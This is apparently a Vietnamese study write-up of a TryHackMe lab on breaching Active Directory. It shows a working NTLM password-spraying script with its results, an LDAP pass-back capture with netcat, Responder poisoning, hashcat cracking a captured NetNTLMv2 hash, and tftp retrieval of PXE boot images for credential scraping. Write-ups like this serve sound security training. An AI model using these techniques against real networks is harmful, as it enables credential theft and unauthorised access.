Sử dụng đúng tập tin cấu hình OpenVPN của room để kết nối. Câu lệnh sau giúp chạy OpenVPN dưới dạng daemon (chạy ngầm) và ghi log ra tập tin /var/log/openvpn.log:
Nếu không có systemd-resolve thì có thể dùng resolvectl với cú pháp có một chút khác biệt.
3. Thêm IP của domain controller (kiêm name server) vào file /etc/resolv.conf. Ví dụ:
nameserver 10.10.x.x
Expected: có thể phân giải domain thmdc.za.tryhackme.com thông qua câu lệnh nslookup hoặc dig.
Là bộ các giao thức bảo mật dùng để xác thực bên trong AD, cho phép các ứng dụng đóng vai trò như là man-in-the-middle giữa user và AD. Cụ thể, tất cả các authentication materials sẽ được chuyển tiếp đến DC và nếu DC trả về thành công thì ứng dụng mới xác thực user.
Nói cách khác, ứng dụng sẽ chỉ thực hiện việc xác thực user với DC chứ không xác thực với chính nó. Điều này giúp hạn chế vấn đề lưu trữ credentials ở trên ứng dụng.
NetNTLM là phiên bản mới của NTLM.
Các service sử dụng NetNTLM mà có công khai ra ngoài internet có thể bị tấn công. Kẻ tấn công có thể dùng các service này để kiểm tra credentials kiếm được hoặc cũng có thể dùng để kiếm credentials chẳng hạn như các địa chỉ email hợp lệ.
Password Spraying
Đa số các môi trường AD có cơ chế khóa tài khoản khi đăng nhập sai quá nhiều lần. Do đó, ta có thể sử dụng kỹ thuật password spraying. Đối với kỹ thuật này, thay vì thử nhiều password cho cùng một tài khoản thì sẽ thử nhiều tài khoản với cùng một password.
Warning
Cần chú ý rằng việc tấn công brute-force có thể sinh ra nhiều traffic và dễ bị phát hiện.
Lab
Script dùng để password spraying:
def password_spray(self, password, url): print ("[*] Starting passwords spray attack using the following password: " + password) #Reset valid credential counter count = 0 #Iterate through all of the possible usernames for user in self.users: #Make a request to the website and attempt Windows Authentication response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password)) #Read status code of response to determine if authentication was successful if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE): print ("[+] Valid credential pair found! Username: " + user + " Password: " + password) count += 1 continue if (self.verbose): if (response.status_code == self.HTTP_AUTH_FAILED_CODE): print ("[-] Failed login with Username: " + user) print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")
Thực hiện password spraying:
$ python ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/[*] Starting passwords spray attack using the following password: Changeme123[-] Failed login with Username: anthony.reynolds[-] Failed login with Username: samantha.thompson[-] Failed login with Username: dawn.turner[-] Failed login with Username: frances.chapman[-] Failed login with Username: henry.taylor[-] Failed login with Username: jennifer.wood[+] Valid credential pair found! Username: hollie.powell Password: Changeme123[-] Failed login with Username: louise.talbot[+] Valid credential pair found! Username: heather.smith Password: Changeme123[-] Failed login with Username: dominic.elliott[+] Valid credential pair found! Username: gordon.stevens Password: Changeme123[-] Failed login with Username: alan.jones[-] Failed login with Username: frank.fletcher[-] Failed login with Username: maria.sheppard[-] Failed login with Username: sophie.blackburn[-] Failed login with Username: dawn.hughes[-] Failed login with Username: henry.black[-] Failed login with Username: joanne.davies[-] Failed login with Username: mark.oconnor[+] Valid credential pair found! Username: georgina.edwards Password: Changeme123[*] Password spray attack completed, 4 valid credential pairs found
Lightweight Directory Access Protocol (LDAP)
Là một phương thức xác thực của Microsoft giống với NTLM nhưng nó cho phép bản thân ứng dụng cũng có thể xác thực. Để làm được điều đó, ứng dụng cần có các cặp credentials được gửi từ người dùng.
Quy trình:
Xác thực bằng LDAP rất phổ biến đối với các ứng dụng bên thứ 3, chẳng hạn như GitLab hoặc Jenkins.
Tương tự với NTLM, nếu các ứng dụng sử dụng LDAP được công khai ra internet thì kẻ tấn công có thể lợi dụng các kỹ thuật của NTLM để tấn công. Ngoài ra, do có credentials được lưu trữ ở trong ứng dụng, một khi bị tấn công, kẻ tấn công có thể đánh cắp được các AD credentials và dùng chúng để truy cập vào AD.
LDAP Pass-back
Một trong số những cách tấn công vào LDAP có tên là LDAP pass-back. Đây là kỹ thuật tấn công phổ biến vào các thiết bị mạng chẳng hạn như là máy in.
Trước tiên, ta cần truy cập được vào nơi để cấu hình LDAP chẳng hạn như là giao diện web của máy in. Khi đó, chúng ta có thể thay đổi địa chỉ IP hoặc hostname của LDAP server thành của một server giả mạo mà ta kiểm soát. Sau đó, ta sẽ ép thiết bị sử dụng server giả mạo của chúng ta để xác thực nhằm đánh cắp credentials được gửi đến.
Chúng ta sẽ sử dụng OpenLDAP để xây dựng một LDAP server hoạt động dưới dạng một tiến trình chạy ngầm. Ngoài các thiết lập thông thường, ta còn cần cấu hình sao cho LDAP không sử dụng mã hóa để có thể đọc được credentials ở dạng bản rõ.
Đối với bài lab này, chúng ta sẽ sử dụng Attack Box để thiết lập LDAP server sử dụng OpenLDAP bởi vì thiết lập OpenLDAP ở trên Arch hơi khó khăn 😭.
Truy cập trang thiết lập của máy in và thấy rằng ta có khả năng thay đổi cấu hình LDAP của nó.
Chạy một netcat listener ở port 389 bởi vì nó là port mặc định của LDAP.
Thay đổi giá trị địa chỉ IP thành máy của chúng ta và nhấn nút “Save settings”. Sau đó, nhấn nút “Test settings” và có một kết nối TCP được thiết lập với netcat listener:
After that, we hit the “Test settings” button and the connection is made:
─❯ sudo nc -lvp 389[sudo] password for aleister: Listening on 0.0.0.0 389Connection received on 10.200.24.201 548090�Dc�;x� objectclass0�supportedCapabilities0�P0�Fc�=x� objectclass0�supportedSASLMechanisms
Giá trị supportedCapabilities cho biết rằng ta đang gặp vấn đề. Cụ thể, trước khi gửi credentials, máy in sẽ thiết lập cách xác thực với LDAP server (giống như cách mà TLS thiết lập các thuật toán) và một số loại xác thực sẽ mã hóa credentials. Vì vậy, ta cần cấu hình LDAP server giả mạo để đảm bảo có thể thấy được credentials dưới dạng bản rõ.
Sau khi cấu hình thì nhấn nút “Test settings” lại để capture traffic bằng tcpdump nhằm lấy credentials:
Trong các mạng Windows lớn, các giao thức Link-Local Multicast Name Resolution (LLMNR), NetBIOS Name Service (NBT-NS) và Web Proxy Auto-Discovery (WPAD) cho phép các host có thể tự thực hiện phân giải DNS nhằm giảm tải cho các DNS server. Cụ thể, các host có thể xác định xem một host nào đó có trong ở mạng nội bộ hay không bằng cách gửi một LLMNR request và xem có một host nào phản hồi hay không. NBT-NS là tiền thân của LLMNR còn WPAD được dùng để tìm một proxy cho các kết nối HTTP(s) trong tương lai.
Công cụ Responder được dùng để đầu độc các request của LLMNR, NBT-NS và WPAD ở trong mạng nội bộ. Cụ thể, Responder sẽ thực hiện tấn công Man-in-the-Middle bằng cách liên tục lắng nghe các request gửi đến và gửi lại các response giả mạo nhằm đánh lừa người dùng thực hiện xác thực. Bằng cách này, chúng ta có thể thu được credentials trong quá trình xác thực. Ngoài các giao thức trên, Responder còn host một số server chẳng hạn như SMB, HTTP và SQL.
Warning
Việc sử dụng Responder có thể dễ bị phát hiện do nó làm gián đoạn quá trình xác thực của các host có trong mạng.
Relaying the Challenge
Trong một số trường hợp, chúng ta có thể chuyển tiếp các NTLM challenge thay vì chỉ capture chúng.
Cách tấn công này phụ thuộc vào một số điều kiện như sau:
SMB signing phải bị disabled hoặc có enabled nhưng không bị ép buộc. Lý do là vì khi thực hiện chuyển tiếp, chúng ta cần thay đổi request một chút và nếu SMB signing được enabled thì server sẽ từ chối reject do signature không khớp.
Tài khoản mà ta thực hiện relay cần phải có một số quyền quản trị nhất định.
Lab
Chạy Responder trên interface breadad:
sudo responder -I breachad
Sau một khoảng thời gian thì capture được NTLM hash thông qua giao thức SMB:
root@ip-10-10-108-100:~# hashcat -m 5600 ntlm.hash /root/Rooms/BreachingAD/task5/passwordlist.txt --forcehashcat (v6.1.1-66-g6a419d06) starting...You have enabled --force to bypass dangerous warnings and errors!This can hide serious problems and should only be done when debugging.Do not report hashcat issues encountered when using --force.OpenCL API (OpenCL 1.2 LINUX) - Platform #1 [Intel(R) Corporation]==================================================================* Device #1: AMD EPYC 7571, 3832/3896 MB (974 MB allocatable), 2MCUOpenCL API (OpenCL 1.2 pocl 1.1 None+Asserts, LLVM 6.0.0, SPIR, SLEEF, DISTRO, POCL_DEBUG) - Platform #2 [The pocl project]===========================================================================================================================* Device #2: pthread-AMD EPYC 7571, skippedMinimum password length supported by kernel: 0Maximum password length supported by kernel: 256Hashes: 1 digests; 1 unique digests, 1 unique saltsBitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotatesRules: 1Applicable optimizers applied:* Zero-Byte* Not-Iterated* Single-Hash* Single-SaltATTENTION! Pure (unoptimized) backend kernels selected.Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.If you want to switch to optimized backend kernels, append -O to your commandline.See the above message to find out about the exact limits.Watchdog: Hardware monitoring interface not found on your system.Watchdog: Temperature abort trigger disabled.Host memory required for this attack: 0 MBDictionary cache built:* Filename..: /root/Rooms/BreachingAD/task5/passwordlist.txt* Passwords.: 513* Bytes.....: 4010* Keyspace..: 513* Runtime...: 0 secsThe wordlist or mask that you are using is too small.This means that hashcat cannot use the full parallel power of your device(s).Unless you supply more work, your cracking speed will drop.For tips on supplying more work, see: https://hashcat.net/faq/moreworkApproaching final keyspace - workload adjusted.SVCFILECOPY::ZA:64023a60ceb535d5:bc7cb8a4e7028aa8a9262e6a499fe085:0101000000000000802c9492c00cdb01fae357c0aef5ddd00000000002000800590038005100350001001e00570049004e002d004900390057004a004a0057005600560042003900450004003400570049004e002d004900390057004a004a005700560056004200390045002e0059003800510035002e004c004f00430041004c000300140059003800510035002e004c004f00430041004c000500140059003800510035002e004c004f00430041004c0007000800802c9492c00cdb0106000400020000000800300030000000000000000000000000200000340c45e3c5a0a268ae4c7438f1d0fac726bf562d92d9e51b06bec82a4c45e8030a001000000000000000000000000000000000000900200063006900660073002f00310030002e00350030002e00310038002e00350034000000000000000000:FPassword1!Session..........: hashcatStatus...........: CrackedHash.Name........: NetNTLMv2Hash.Target......: SVCFILECOPY::ZA:64023a60ceb535d5:bc7cb8a4e7028aa8a9...000000Time.Started.....: Sun Sep 22 07:33:14 2024, (0 secs)Time.Estimated...: Sun Sep 22 07:33:14 2024, (0 secs)Guess.Base.......: File (/root/Rooms/BreachingAD/task5/passwordlist.txt)Guess.Queue......: 1/1 (100.00%)Speed.#1.........: 479.6 kH/s (0.86ms) @ Accel:1024 Loops:1 Thr:1 Vec:8Recovered........: 1/1 (100.00%) DigestsProgress.........: 513/513 (100.00%)Rejected.........: 0/513 (0.00%)Restore.Point....: 0/513 (0.00%)Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1Candidates.#1....: 123456 -> hockeyStarted: Sun Sep 22 07:32:31 2024Stopped: Sun Sep 22 07:33:16 2024
Vậy, password là: FPassword1!.
Microsoft Deployment Toolkit and PXE Boot
MDT and SCCM
Microsoft Deployment Toolkit (MDT) là một service của Microsoft hỗ trợ việc tự động triển khai các hệ điều hành. Thông thường, MDT được tích hợp với Microsoft’s System Center Configuration Manager (SCCM), là một công cụ dùng để quản lý các bản cập nhật cho các ứng dụng, service và hệ điều hành của Microsoft.
PXE Boot
Preboot execution environment (PXE) (đọc là pixie) là một tập các tiêu chuẩn cho phép một máy tính có thể tải hệ điều hành thông qua một kết nối mạng. Các tập đoàn lớn sử dụng PXE boot để cho phép các thiết bị mới có thể nạp và tải hệ điều hành trực tiếp từ một kết nối mạng.
PXE boot thường được tích hợp với DHCP. Cụ thể, nếu DHCP gán một IP lease (thời hạn cho thuê IP) cho một host thì host đó được phép yêu cầu PXE boot image và bắt đầu quá trình cài đặt OS thông qua mạng. Sau đó, host sẽ dùng giao thức TFTP để tải PXE boot image.
Chúng ta có thể khai thác PXE boot thông qua 2 attack vector:
Chèn vào một tài khoản local Administrator để có quyền quản trị của hệ điều hành khi quá trình PXE boot được hoàn thành.
Sử dụng password scraping attack để khôi phục AD credentials trong quá trình cài đặt hệ điều hành.
PXE Boot Image Retrieval
Thông tin đầu tiên nhận được trong quá trình PXE boot thông qua DHCP là IP của MDT server. Thông tin thứ hai là tên của các tập tin BCD. Các tập tin này lưu trữ các thông tin liên quan đến các PXE boot cho các loại kiến trúc khác nhau.
Lab
Note
Lab này sẽ sử dụng attack vector thứ 2 của PXE boot.
Để khai thác, trước tiên ta cần sử dụng TFTP để tải tập tin BCD nhằm đọc cấu hình của MDT server:
C:\Users\THM\Documents\Am0> tftp -i <THMMDT IP> GET "\Tmp\x64{39...28}.bcd" conf.bcdTransfer successful: 12288 bytes in 1 second(s), 12288 bytes/s
Với tập tin BCD, chúng ta sẽ sử dụng powerpxe để thực hiện tấn công. Trước tiên, ta sẽ sử dụng hàm Get-WimFile của powerpxe để khôi phục lại vị trí của các PXE boot image từ tập tin BCD.
Có thể thấy, ta thu được một tập tin WIM (Windows Imaging Format), là một bootable image (chính là PXE boot image). Chúng ta sẽ tiếp tục sử dụng TFTP để tải tập tin này:
PS C:\Users\thm\Documents\aleister> tftp -i 10.200.20.202 GET "\Boot\x64\Images\LiteTouchPE_x64.wim" pxeboot.wimTransfer successful: 341899611 bytes in 174 second(s), 1964940 bytes/s
Sau khi tải PXE boot image thì sử dụng hàm Get-FindCredentials của powerpxe để khôi phục credentials có sẵn ở trong boot image: